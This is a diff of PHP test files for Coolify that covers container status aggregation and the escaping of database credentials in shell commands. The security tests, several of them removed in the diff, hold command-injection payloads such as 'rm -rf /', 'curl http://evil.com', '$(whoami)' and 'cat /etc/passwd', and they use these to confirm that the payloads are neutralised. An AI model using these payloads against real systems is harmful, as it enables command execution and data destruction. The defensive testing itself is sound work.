// 1. Get health status (may be null)
|
||||
// 2. Only mark as unhealthy if health status EXISTS and equals 'unhealthy'
|
||||
// 3. Don't mark as unhealthy if health status is null/missing
|
||||
|
||||
// Verify the condition explicitly checks for unhealthy
|
||||
expect($aggregatorFile)
|
||||
->toContain('if ($health === \'unhealthy\')');
|
||||
|
||||
// Verify this check is done for running containers
|
||||
expect($aggregatorFile)
|
||||
->toContain('} elseif ($state === \'running\') {')
|
||||
->toContain('$hasRunning = true;');
|
||||
});
|
||||
|
||||
it('tracks unknown health state in aggregation', function () {
|
||||
// State machine logic now in ContainerStatusAggregator service
|
||||
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
|
||||
|
||||
// Verify that $hasUnknown tracking variable exists in the service
|
||||
expect($aggregatorFile)
|
||||
->toContain('$hasUnknown = false;');
|
||||
|
||||
// Verify that unknown state is detected in status parsing
|
||||
expect($aggregatorFile)
|
||||
->toContain("str(\$status)->contains('unknown')")
|
||||
->toContain('$hasUnknown = true;');
|
||||
});
|
||||
|
||||
it('preserves unknown health state in aggregated status with correct priority', function () {
|
||||
// State machine logic now in ContainerStatusAggregator service (using colon format)
|
||||
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
|
||||
|
||||
// Verify three-way priority in aggregation:
|
||||
// 1. Unhealthy (highest priority)
|
||||
// 2. Unknown (medium priority)
|
||||
// 3. Healthy (only when all explicitly healthy)
|
||||
|
||||
expect($aggregatorFile)
|
||||
->toContain('if ($hasUnhealthy) {')
|
||||
->toContain("return 'running:unhealthy';")
|
||||
->toContain('} elseif ($hasUnknown) {')
|
||||
->toContain("return 'running:unknown';")
|
||||
->toContain('} else {')
|
||||
->toContain("return 'running:healthy';");
|
||||
});
|
||||
|
||||
it('tracks unknown health state in ContainerStatusAggregator for all applications', function () {
|
||||
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
|
||||
|
||||
// Verify that $hasUnknown tracking variable exists
|
||||
expect($aggregatorFile)
|
||||
->toContain('$hasUnknown = false;');
|
||||
|
||||
// Verify that unknown state is detected when health is null or 'starting'
|
||||
expect($aggregatorFile)
|
||||
->toContain('} elseif (is_null($health) || $health === \'starting\') {')
|
||||
->toContain('$hasUnknown = true;');
|
||||
});
|
||||
|
||||
it('preserves unknown health state in ContainerStatusAggregator aggregated status', function () {
|
||||
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
|
||||
|
||||
// Verify three-way priority for running containers in the service
|
||||
expect($aggregatorFile)
|
||||
->toContain('if ($hasUnhealthy) {')
|
||||
->toContain("return 'running:unhealthy';")
|
||||
->toContain('} elseif ($hasUnknown) {')
|
||||
->toContain("return 'running:unknown';")
|
||||
->toContain('} else {')
|
||||
->toContain("return 'running:healthy';");
|
||||
|
||||
// Verify ComplexStatusCheck delegates to the service
|
||||
$complexStatusCheckFile = file_get_contents(__DIR__.'/../../app/Actions/Shared/ComplexStatusCheck.php');
|
||||
expect($complexStatusCheckFile)
|
||||
->toContain('use App\\Services\\ContainerStatusAggregator;')
|
||||
->toContain('$aggregator = new ContainerStatusAggregator;')
|
||||
->toContain('$aggregator->aggregateFromContainers($relevantContainers);');
|
||||
});
|
||||
|
||||
it('preserves unknown health state in Service model aggregation', function () {
|
||||
$serviceFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
|
||||
|
||||
// Service model delegates its state machine to ContainerStatusAggregator
|
||||
expect($serviceFile)
|
||||
->toContain('use App\\Services\\ContainerStatusAggregator;')
|
||||
->toContain('$aggregator = new ContainerStatusAggregator;')
|
||||
->toContain('$aggregator->aggregateFromStrings($statusStrings);');
|
||||
|
||||
$aggregator = new ContainerStatusAggregator;
|
||||
|
||||
// Unknown health must not be upgraded to healthy, and unhealthy must win over unknown
|
||||
expect($aggregator->aggregateFromStrings(collect(['running:unknown'])))->toBe('running:unknown')
|
||||
->and($aggregator->aggregateFromStrings(collect(['running:healthy', 'running:unknown'])))->toBe('running:unknown')
|
||||
->and($aggregator->aggregateFromStrings(collect(['running:unknown', 'running:unhealthy'])))->toBe('running:unhealthy');
|
||||
});
|
||||
|
||||
it('handles starting state (created/starting) in GetContainersStatus', function () {
|
||||
// State machine logic now in ContainerStatusAggregator service
|
||||
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
|
||||
|
||||
// Verify tracking variable exists
|
||||
expect($aggregatorFile)
|
||||
->toContain('$hasStarting = false;');
|
||||
|
||||
// Verify detection for created/starting states
|
||||
expect($aggregatorFile)
|
||||
->toContain("str(\$status)->contains('created') || str(\$status)->contains('starting')")
|
||||
->toContain('$hasStarting = true;');
|
||||
|
||||
// Verify aggregation returns starting status (colon format)
|
||||
expect($aggregatorFile)
|
||||
->toContain('if ($hasStarting) {')
|
||||
->toContain("return 'starting:unknown';");
|
||||
});
|
||||
|
||||
it('handles paused state in GetContainersStatus', function () {
|
||||
// State machine logic now in ContainerStatusAggregator service
|
||||
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
|
||||
|
||||
// Verify tracking variable exists
|
||||
expect($aggregatorFile)
|
||||
->toContain('$hasPaused = false;');
|
||||
|
||||
// Verify detection for paused state
|
||||
expect($aggregatorFile)
|
||||
->toContain("str(\$status)->contains('paused')")
|
||||
->toContain('$hasPaused = true;');
|
||||
|
||||
// Verify aggregation returns paused status (colon format)
|
||||
expect($aggregatorFile)
|
||||
->toContain('if ($hasPaused) {')
|
||||
->toContain("return 'paused:unknown';");
|
||||
});
|
||||
|
||||
it('handles dead/removing states in GetContainersStatus', function () {
|
||||
// State machine logic now in ContainerStatusAggregator service
|
||||
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
|
||||
|
||||
// Verify tracking variable exists
|
||||
expect($aggregatorFile)
|
||||
->toContain('$hasDead = false;');
|
||||
|
||||
// Verify detection for dead/removing states
|
||||
expect($aggregatorFile)
|
||||
->toContain("str(\$status)->contains('dead') || str(\$status)->contains('removing')")
|
||||
->toContain('$hasDead = true;');
|
||||
|
||||
// Verify aggregation returns degraded status (colon format)
|
||||
expect($aggregatorFile)
|
||||
->toContain('if ($hasDead) {')
|
||||
->toContain("return 'degraded:unhealthy';");
|
||||
});
|
||||
|
||||
it('handles edge case states in ContainerStatusAggregator for all containers', function () {
|
||||
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
|
||||
|
||||
// Verify tracking variables exist in the service
|
||||
expect($aggregatorFile)
|
||||
->toContain('$hasStarting = false;')
|
||||
->toContain('$hasPaused = false;')
|
||||
->toContain('$hasDead = false;');
|
||||
|
||||
// Verify detection for created/starting
|
||||
expect($aggregatorFile)
|
||||
->toContain("} elseif (\$state === 'created' || \$state === 'starting') {")
|
||||
->toContain('$hasStarting = true;');
|
||||
|
||||
// Verify detection for paused
|
||||
expect($aggregatorFile)
|
||||
->toContain("} elseif (\$state === 'paused') {")
|
||||
->toContain('$hasPaused = true;');
|
||||
|
||||
// Verify detection for dead/removing
|
||||
expect($aggregatorFile)
|
||||
->toContain("} elseif (\$state === 'dead' || \$state === 'removing') {")
|
||||
->toContain('$hasDead = true;');
|
||||
});
|
||||
|
||||
it('handles edge case states in ContainerStatusAggregator aggregation', function () {
|
||||
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
|
||||
|
||||
// Verify aggregation logic for edge cases in the service
|
||||
expect($aggregatorFile)
|
||||
->toContain('if ($hasDead) {')
|
||||
->toContain("return 'degraded:unhealthy';")
|
||||
->toContain('if ($hasPaused) {')
|
||||
->toContain("return 'paused:unknown';")
|
||||
->toContain('if ($hasStarting) {')
|
||||
->toContain("return 'starting:unknown';");
|
||||
});
|
||||
|
||||
it('handles edge case states in Service model', function () {
|
||||
$serviceFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
|
||||
|
||||
// Service model delegates edge case handling to ContainerStatusAggregator
|
||||
expect($serviceFile)->toContain('$aggregator->aggregateFromStrings($statusStrings);');
|
||||
|
||||
$aggregator = new ContainerStatusAggregator;
|
||||
|
||||
expect($aggregator->aggregateFromStrings(collect(['created'])))->toBe('starting:unknown')
|
||||
->and($aggregator->aggregateFromStrings(collect(['starting'])))->toBe('starting:unknown')
|
||||
->and($aggregator->aggregateFromStrings(collect(['paused'])))->toBe('paused:unknown')
|
||||
->and($aggregator->aggregateFromStrings(collect(['dead'])))->toBe('degraded:unhealthy')
|
||||
->and($aggregator->aggregateFromStrings(collect(['removing'])))->toBe('degraded:unhealthy');
|
||||
});
|
||||
|
||||
it('appends :excluded suffix to excluded container statuses in GetContainersStatus', function () {
|
||||
$getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// Verify that we use the trait for calculating excluded status
|
||||
expect($getContainersStatusFile)
|
||||
->toContain('CalculatesExcludedStatus');
|
||||
|
||||
// Verify that we use the trait to calculate excluded status
|
||||
expect($getContainersStatusFile)
|
||||
->toContain('use CalculatesExcludedStatus;');
|
||||
});
|
||||
|
||||
it('skips containers with :excluded suffix in Service model non-excluded sections', function () {
|
||||
$serviceFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
|
||||
|
||||
// Verify that we have exclude_from_status field handling
|
||||
expect($serviceFile)
|
||||
->toContain('exclude_from_status');
|
||||
});
|
||||
|
||||
it('processes containers with :excluded suffix in Service model excluded sections', function () {
|
||||
$serviceFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
|
||||
|
||||
// Verify that we handle excluded status
|
||||
expect($serviceFile)
|
||||
->toContain(':excluded')
|
||||
->toContain('exclude_from_status');
|
||||
});
|
||||
|
||||
it('treats containers with starting health status as unknown in ContainerStatusAggregator', function () {
|
||||
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
|
||||
|
||||
// Verify that 'starting' health status is treated the same as null (unknown)
|
||||
// During Docker health check grace period, the health status is 'starting'
|
||||
// This should be treated as 'unknown' rather than 'healthy'
|
||||
expect($aggregatorFile)
|
||||
->toContain('} elseif (is_null($health) || $health === \'starting\') {')
|
||||
->toContain('$hasUnknown = true;');
|
||||
});
|
||||
@@ -1,84 +0,0 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\CoolifyTask;
|
||||
|
||||
it('CoolifyTask has failed method that handles cleanup', function () {
|
||||
$reflection = new ReflectionClass(CoolifyTask::class);
|
||||
|
||||
// Verify failed method exists
|
||||
expect($reflection->hasMethod('failed'))->toBeTrue();
|
||||
|
||||
// Get the failed method
|
||||
$failedMethod = $reflection->getMethod('failed');
|
||||
|
||||
// Read the method source to verify it dispatches events
|
||||
$filename = $reflection->getFileName();
|
||||
$startLine = $failedMethod->getStartLine();
|
||||
$endLine = $failedMethod->getEndLine();
|
||||
|
||||
$source = file($filename);
|
||||
$methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
|
||||
|
||||
// Verify the implementation contains event dispatch logic
|
||||
expect($methodSource)
|
||||
->toContain('call_event_on_finish')
|
||||
->and($methodSource)->toContain('event(new $eventClass')
|
||||
->and($methodSource)->toContain('call_event_data')
|
||||
->and($methodSource)->toContain('Log::info');
|
||||
});
|
||||
|
||||
it('CoolifyTask failed method updates activity status to ERROR', function () {
|
||||
$reflection = new ReflectionClass(CoolifyTask::class);
|
||||
$failedMethod = $reflection->getMethod('failed');
|
||||
|
||||
// Read the method source
|
||||
$filename = $reflection->getFileName();
|
||||
$startLine = $failedMethod->getStartLine();
|
||||
$endLine = $failedMethod->getEndLine();
|
||||
|
||||
$source = file($filename);
|
||||
$methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
|
||||
|
||||
// Verify activity status is set to ERROR
|
||||
expect($methodSource)
|
||||
->toContain("'status' => ProcessStatus::ERROR->value")
|
||||
->and($methodSource)->toContain("'error' =>")
|
||||
->and($methodSource)->toContain("'failed_at' =>");
|
||||
});
|
||||
|
||||
it('CoolifyTask failed method has proper error handling for event dispatch', function () {
|
||||
$reflection = new ReflectionClass(CoolifyTask::class);
|
||||
$failedMethod = $reflection->getMethod('failed');
|
||||
|
||||
// Read the method source
|
||||
$filename = $reflection->getFileName();
|
||||
$startLine = $failedMethod->getStartLine();
|
||||
$endLine = $failedMethod->getEndLine();
|
||||
|
||||
$source = file($filename);
|
||||
$methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
|
||||
|
||||
// Verify try-catch around event dispatch
|
||||
expect($methodSource)
|
||||
->toContain('try {')
|
||||
->and($methodSource)->toContain('} catch (\Throwable $e) {')
|
||||
->and($methodSource)->toContain("Log::error('Error dispatching cleanup event");
|
||||
});
|
||||
|
||||
it('CoolifyTask constructor stores call_event_on_finish and call_event_data', function () {
|
||||
$reflection = new ReflectionClass(CoolifyTask::class);
|
||||
$constructor = $reflection->getConstructor();
|
||||
|
||||
// Get constructor parameters
|
||||
$parameters = $constructor->getParameters();
|
||||
$paramNames = array_map(fn ($p) => $p->getName(), $parameters);
|
||||
|
||||
// Verify both parameters exist
|
||||
expect($paramNames)
|
||||
->toContain('call_event_on_finish')
|
||||
->and($paramNames)->toContain('call_event_data');
|
||||
|
||||
// Verify they are public properties (constructor property promotion)
|
||||
expect($reflection->hasProperty('call_event_on_finish'))->toBeTrue();
|
||||
expect($reflection->hasProperty('call_event_data'))->toBeTrue();
|
||||
});
|
||||
@@ -50,27 +50,6 @@ test('database backup rejects command injection with newlines', function () {
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('database backup escapes shell arguments properly', function () {
|
||||
$database = "test'db";
|
||||
$escaped = escapeshellarg($database);
|
||||
|
||||
expect($escaped)->toBe("'test'\\''db'");
|
||||
});
|
||||
|
||||
test('database backup escapes shell arguments with double quotes', function () {
|
||||
$database = 'test"db';
|
||||
$escaped = escapeshellarg($database);
|
||||
|
||||
expect($escaped)->toBe("'test\"db'");
|
||||
});
|
||||
|
||||
test('database backup escapes shell arguments with spaces', function () {
|
||||
$database = 'test database';
|
||||
$escaped = escapeshellarg($database);
|
||||
|
||||
expect($escaped)->toBe("'test database'");
|
||||
});
|
||||
|
||||
test('database backup accepts legitimate database names', function () {
|
||||
expect(fn () => validateShellSafePath('postgres', 'database name'))
|
||||
->not->toThrow(Exception::class);
|
||||
@@ -146,86 +125,6 @@ test('validateDatabasesBackupInput rejects injection in database name within mon
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
// --- Credential escaping tests for database backup commands ---
|
||||
|
||||
test('escapeshellarg neutralizes command injection in postgres password', function () {
|
||||
$maliciousPassword = '"; rm -rf / #';
|
||||
$escaped = escapeshellarg($maliciousPassword);
|
||||
|
||||
// The escaped value must be a single shell token that cannot break out
|
||||
expect($escaped)->not->toContain("\n");
|
||||
expect($escaped)->toBe("'\"; rm -rf / #'");
|
||||
// When used in: -e PGPASSWORD=<escaped>, the shell sees one token
|
||||
$command = 'docker exec -e PGPASSWORD='.$escaped.' container pg_dump';
|
||||
expect($command)->toContain("PGPASSWORD='");
|
||||
expect($command)->not->toContain('PGPASSWORD=""');
|
||||
});
|
||||
|
||||
test('escapeshellarg neutralizes command injection in postgres username', function () {
|
||||
$maliciousUser = 'admin$(whoami)';
|
||||
$escaped = escapeshellarg($maliciousUser);
|
||||
|
||||
expect($escaped)->toBe("'admin\$(whoami)'");
|
||||
$command = "docker exec container pg_dump --username $escaped";
|
||||
// The $() should be inside single quotes, preventing execution
|
||||
expect($command)->toContain("--username 'admin\$(whoami)'");
|
||||
});
|
||||
|
||||
test('escapeshellarg neutralizes command injection in mysql password', function () {
|
||||
$maliciousPassword = 'pass" && curl http://evil.com #';
|
||||
$escaped = escapeshellarg($maliciousPassword);
|
||||
|
||||
$command = "docker exec container mysqldump -u root -p$escaped db";
|
||||
// The password must be wrapped in single quotes
|
||||
expect($command)->toContain("-p'pass\" && curl http://evil.com #'");
|
||||
});
|
||||
|
||||
test('escapeshellarg neutralizes command injection in mariadb password', function () {
|
||||
$maliciousPassword = "pass'; whoami; echo '";
|
||||
$escaped = escapeshellarg($maliciousPassword);
|
||||
|
||||
// Single quotes in the value get escaped as '\''
|
||||
expect($escaped)->toBe("'pass'\\''; whoami; echo '\\'''");
|
||||
$command = "docker exec container mariadb-dump -u root -p$escaped db";
|
||||
// Verify the command doesn't contain an unescaped semicolon outside quotes
|
||||
expect($command)->toContain("-p'pass'");
|
||||
});
|
||||
|
||||
test('rawurlencode neutralizes shell injection in mongodb URI credentials', function () {
|
||||
$maliciousUser = 'admin";$(whoami)';
|
||||
$maliciousPass = 'pass@evil.com/admin?authSource=admin&rm -rf /';
|
||||
|
||||
$encodedUser = rawurlencode($maliciousUser);
|
||||
$encodedPass = rawurlencode($maliciousPass);
|
||||
$url = "mongodb://{$encodedUser}:{$encodedPass}@container:27017";
|
||||
|
||||
// Special characters should be percent-encoded
|
||||
expect($encodedUser)->not->toContain('"');
|
||||
expect($encodedUser)->not->toContain('$');
|
||||
expect($encodedUser)->not->toContain('(');
|
||||
expect($encodedPass)->not->toContain('@');
|
||||
expect($encodedPass)->not->toContain('/');
|
||||
expect($encodedPass)->not->toContain('?');
|
||||
expect($encodedPass)->not->toContain('&');
|
||||
|
||||
// The URL should have exactly one @ (the delimiter) and the credentials percent-encoded
|
||||
$atCount = substr_count($url, '@');
|
||||
expect($atCount)->toBe(1);
|
||||
});
|
||||
|
||||
test('escapeshellarg on mongodb URI prevents shell breakout', function () {
|
||||
// Even if internal_db_url contains malicious content, escapeshellarg wraps it safely
|
||||
$maliciousUrl = 'mongodb://admin:pass@host:27017" && curl http://evil.com #';
|
||||
$escaped = escapeshellarg($maliciousUrl);
|
||||
|
||||
$command = "docker exec container mongodump --uri=$escaped --gzip --archive > /backup";
|
||||
// The entire URI must be inside single quotes
|
||||
expect($command)->toContain("--uri='mongodb://admin:pass@host:27017");
|
||||
expect($command)->toContain("evil.com #'");
|
||||
// No unescaped double quotes that could break the command
|
||||
expect(substr_count($command, "'"))->toBeGreaterThanOrEqual(2);
|
||||
});
|
||||
|
||||
test('backup shell commands do not interpolate raw container names or backup paths', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Jobs/DatabaseBackupJob.php');
|
||||
preg_match_all('/^.*(?:docker exec|mkdir -p |du -b |docker run -d).*$/m', $source, $matches);
|
||||
|
||||
@@ -7,16 +7,6 @@
|
||||
* via user-controlled DB username/password/database fields. The fix converts all affected
|
||||
* healthchecks to CMD exec-form arrays, which bypass the shell entirely.
|
||||
*/
|
||||
dataset('malicious_db_inputs', [
|
||||
'semicolon separator' => ['admin; id > /tmp/pwned; echo'],
|
||||
'command substitution $()' => ['admin$(id > /tmp/pwned)'],
|
||||
'backtick substitution' => ['admin`id > /tmp/pwned`'],
|
||||
'pipe operator' => ['admin | cat /etc/passwd'],
|
||||
'background operator' => ['admin & curl http://evil.com'],
|
||||
'output redirect' => ['admin > /tmp/evil.txt'],
|
||||
'newline injection' => ["admin\nid"],
|
||||
'null byte' => ["admin\0id"],
|
||||
]);
|
||||
|
||||
// ─── PostgreSQL ──────────────────────────────────────────────────────────────
|
||||
|
||||
@@ -27,17 +17,6 @@ test('postgresql healthcheck uses CMD exec-form, not CMD-SHELL', function () {
|
||||
expect($source)->toContain("'CMD', 'psql'");
|
||||
});
|
||||
|
||||
test('postgresql healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
|
||||
// Simulate what StartPostgresql now generates
|
||||
$healthcheck = ['CMD', 'psql', '-U', $malicious, '-d', $malicious, '-c', 'SELECT 1'];
|
||||
|
||||
expect($healthcheck[0])->toBe('CMD');
|
||||
expect($healthcheck[0])->not->toBe('CMD-SHELL');
|
||||
// Malicious value is isolated as a single argv element — no shell interprets it
|
||||
expect($healthcheck)->toContain($malicious);
|
||||
expect(is_array($healthcheck))->toBeTrue();
|
||||
})->with('malicious_db_inputs');
|
||||
|
||||
// ─── KeyDB ────────────────────────────────────────────────────────────────────
|
||||
|
||||
test('keydb healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
|
||||
@@ -47,14 +26,6 @@ test('keydb healthcheck uses CMD exec-form, not a CMD-SHELL string', function ()
|
||||
expect($source)->toContain("'CMD', 'keydb-cli'");
|
||||
});
|
||||
|
||||
test('keydb healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
|
||||
$healthcheck = ['CMD', 'keydb-cli', '--pass', $malicious, 'ping'];
|
||||
|
||||
expect($healthcheck[0])->toBe('CMD');
|
||||
expect($healthcheck)->toContain($malicious);
|
||||
expect(is_array($healthcheck))->toBeTrue();
|
||||
})->with('malicious_db_inputs');
|
||||
|
||||
// ─── Dragonfly ────────────────────────────────────────────────────────────────
|
||||
|
||||
test('dragonfly healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
|
||||
@@ -64,14 +35,6 @@ test('dragonfly healthcheck uses CMD exec-form, not a CMD-SHELL string', functio
|
||||
expect($source)->toContain("'CMD', 'redis-cli'");
|
||||
});
|
||||
|
||||
test('dragonfly healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
|
||||
$healthcheck = ['CMD', 'redis-cli', '-a', $malicious, 'ping'];
|
||||
|
||||
expect($healthcheck[0])->toBe('CMD');
|
||||
expect($healthcheck)->toContain($malicious);
|
||||
expect(is_array($healthcheck))->toBeTrue();
|
||||
})->with('malicious_db_inputs');
|
||||
|
||||
// ─── ClickHouse ───────────────────────────────────────────────────────────────
|
||||
|
||||
test('clickhouse healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
|
||||
@@ -81,14 +44,6 @@ test('clickhouse healthcheck uses CMD exec-form, not a CMD-SHELL string', functi
|
||||
expect($source)->toContain("'CMD', 'clickhouse-client'");
|
||||
});
|
||||
|
||||
test('clickhouse healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
|
||||
$healthcheck = ['CMD', 'clickhouse-client', '--user', $malicious, '--password', $malicious, '--query', 'SELECT 1'];
|
||||
|
||||
expect($healthcheck[0])->toBe('CMD');
|
||||
expect($healthcheck)->toContain($malicious);
|
||||
expect(is_array($healthcheck))->toBeTrue();
|
||||
})->with('malicious_db_inputs');
|
||||
|
||||
// ─── Verify unaffected databases still use their safe patterns ────────────────
|
||||
|
||||
test('mysql healthcheck already uses CMD exec-form (no regression)', function () {
|
||||
|
||||
@@ -22,14 +22,11 @@ function importCleanupPayload(array $overrides = []): array
|
||||
], $overrides);
|
||||
}
|
||||
|
||||
test('the finished event keeps the payload and does not import Server', function () {
|
||||
test('the finished event keeps the payload', function () {
|
||||
$data = importCleanupPayload(['serverTmpPath' => '/tmp/database-import-op']);
|
||||
$event = new DatabaseImportFinished($data);
|
||||
|
||||
expect($event->data)->toBe($data)
|
||||
->and(file_get_contents(app_path('Events/DatabaseImportFinished.php')))
|
||||
->not->toContain('instant_remote_process')
|
||||
->not->toContain('use App\Models\Server');
|
||||
expect($event->data)->toBe($data);
|
||||
});
|
||||
|
||||
test('the cleanup listener is queued and discovered', function () {
|
||||
|
||||
@@ -1,207 +0,0 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* GHSA-rcch-8c74-7f29 — Sink-side escaping tests
|
||||
*
|
||||
* Verifies that credentials reaching shell commands are properly escaped
|
||||
* even if validation is bypassed (e.g. legacy rows, direct DB writes).
|
||||
*/
|
||||
|
||||
// ── executeInDocker + escapeshellarg chown pattern ────────────────────────────
|
||||
|
||||
it('escapeshellarg wraps postgres_user in single quotes for chown command', function () {
|
||||
$user = 'postgres';
|
||||
$escaped = escapeshellarg($user);
|
||||
$cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key");
|
||||
|
||||
// executeInDocker embeds the command inside bash -c '...', escaping inner single quotes as '\''
|
||||
// so escapeshellarg('postgres') = 'postgres' becomes '\''postgres'\'' in the outer shell string
|
||||
expect($cmd)->toContain('bash -c')
|
||||
->toContain('postgres')
|
||||
->toContain('chown');
|
||||
});
|
||||
|
||||
it('sets postgres SSL file ownership before replacing the database container', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartPostgresql.php');
|
||||
|
||||
$permissionCommandPosition = strpos($source, '--entrypoint chown');
|
||||
$stopCommandPosition = strpos($source, 'dockerStopCommand');
|
||||
$startCommandPosition = strpos($source, 'docker-compose.yml up -d');
|
||||
|
||||
expect($permissionCommandPosition)->not->toBeFalse()
|
||||
->and($stopCommandPosition)->not->toBeFalse()
|
||||
->and($startCommandPosition)->not->toBeFalse()
|
||||
->and($permissionCommandPosition)->toBeLessThan($stopCommandPosition)
|
||||
->and($permissionCommandPosition)->toBeLessThan($startCommandPosition)
|
||||
->and($source)->toContain('/var/lib/postgresql/certs/server.crt < /dev/null')
|
||||
->and($source)->toContain('postgres:postgres /var/lib/postgresql/certs/server.key')
|
||||
->not->toContain('chown {$postgresUser}:{$postgresUser}');
|
||||
});
|
||||
|
||||
it('sets database SSL file ownership before replacing the container', function (string $action, string $owner, string $keyPath, string $lastCertificatePath) {
|
||||
$source = file_get_contents(__DIR__."/../../app/Actions/Database/{$action}.php");
|
||||
|
||||
$permissionCommandPosition = strpos($source, '--entrypoint chown');
|
||||
$stopCommandPosition = strpos($source, 'dockerStopCommand');
|
||||
$startCommandPosition = strpos($source, 'docker-compose.yml up -d');
|
||||
|
||||
expect($permissionCommandPosition)->not->toBeFalse()
|
||||
->and($stopCommandPosition)->not->toBeFalse()
|
||||
->and($startCommandPosition)->not->toBeFalse()
|
||||
->and($permissionCommandPosition)->toBeLessThan($stopCommandPosition)
|
||||
->and($permissionCommandPosition)->toBeLessThan($startCommandPosition)
|
||||
->and($source)->toContain("{$lastCertificatePath} < /dev/null")
|
||||
->and($source)->toContain("{$owner} {$keyPath}");
|
||||
})->with([
|
||||
'mysql' => ['StartMysql', 'mysql:mysql', '/etc/mysql/certs/server.key', '/etc/mysql/certs/server.crt'],
|
||||
'mariadb' => ['StartMariadb', 'mysql:mysql', '/etc/mysql/certs/server.key', '/etc/mysql/certs/server.crt'],
|
||||
'mongodb' => ['StartMongodb', 'mongodb:mongodb', '/etc/mongo/certs/server.pem', '/etc/mongo/certs/server.pem'],
|
||||
]);
|
||||
|
||||
it('advisory PoC postgres_user payload is contained by escapeshellarg in chown command', function () {
|
||||
// Simulates a legacy row that bypassed validation
|
||||
$maliciousUser = 'root; touch /tmp/pwned_rce; #';
|
||||
$escaped = escapeshellarg($maliciousUser);
|
||||
|
||||
// escapeshellarg must wrap the entire payload in single quotes
|
||||
// (semicolons inside single-quoted args are NOT shell metacharacters)
|
||||
expect($escaped)->toBe("'root; touch /tmp/pwned_rce; #'");
|
||||
|
||||
$cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key");
|
||||
|
||||
// The cmd contains the payload, but ONLY inside single-quoted segments — cannot break out.
|
||||
// Verify the chown arg is never an unquoted bare ; — the payload is inside '...'
|
||||
// The outer executeInDocker further escapes any single-quote chars for the host shell.
|
||||
expect($cmd)->toContain('docker exec abc123 bash -c');
|
||||
|
||||
// Before fix: chown root; touch /tmp/pwned_rce; # ... (breaks out of chown, executes touch)
|
||||
// After fix: chown 'root; touch /tmp/pwned_rce; #':'...' ... (literal arg to chown)
|
||||
// The unescaped sequence "chown root;" must NOT appear.
|
||||
expect($cmd)->not->toContain('chown root;');
|
||||
});
|
||||
|
||||
it('subshell payload in mysql_user is contained by escapeshellarg in chown command', function () {
|
||||
$maliciousUser = 'a$(touch /tmp/pwn)b';
|
||||
$escaped = escapeshellarg($maliciousUser);
|
||||
$cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /etc/mysql/certs/server.crt");
|
||||
|
||||
// escapeshellarg wraps in single quotes — $() is not expanded inside single quotes
|
||||
expect($escaped)->toBe("'a\$(touch /tmp/pwn)b'");
|
||||
|
||||
// The cmd must not contain an unquoted $( sequence — it must be inside single quotes
|
||||
// If the sequence appears at all, it must be single-quoted (the quote precedes it).
|
||||
expect($cmd)->not->toContain(' $(touch');
|
||||
});
|
||||
|
||||
it('subshell payload in postgres_user is contained by escapeshellarg in chown command', function () {
|
||||
$maliciousUser = 'a$(touch /tmp/pwn_postgres)b';
|
||||
$escaped = escapeshellarg($maliciousUser);
|
||||
$cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt");
|
||||
|
||||
expect($escaped)->toBe("'a\$(touch /tmp/pwn_postgres)b'");
|
||||
expect($cmd)->not->toContain(' $(touch');
|
||||
});
|
||||
|
||||
it('semicolon payload in postgres_user is contained by escapeshellarg in chown command', function () {
|
||||
$maliciousUser = 'root; touch /tmp/pwned_pg; #';
|
||||
$escaped = escapeshellarg($maliciousUser);
|
||||
$cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt");
|
||||
|
||||
expect($escaped)->toBe("'root; touch /tmp/pwned_pg; #'");
|
||||
expect($cmd)->not->toContain('chown root;');
|
||||
});
|
||||
|
||||
it('backtick payload in mysql_user is contained by escapeshellarg', function () {
|
||||
$maliciousUser = 'user`id`';
|
||||
$escaped = escapeshellarg($maliciousUser);
|
||||
$cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /etc/mysql/certs/server.crt");
|
||||
|
||||
// escapeshellarg wraps the whole value in single quotes — backticks not expanded inside ''
|
||||
expect($escaped)->toBe("'user`id`'");
|
||||
|
||||
// The unquoted bare backtick sequence `id` must not appear outside single-quoted context.
|
||||
// Specifically, "chown user`id`" (unquoted) must not appear.
|
||||
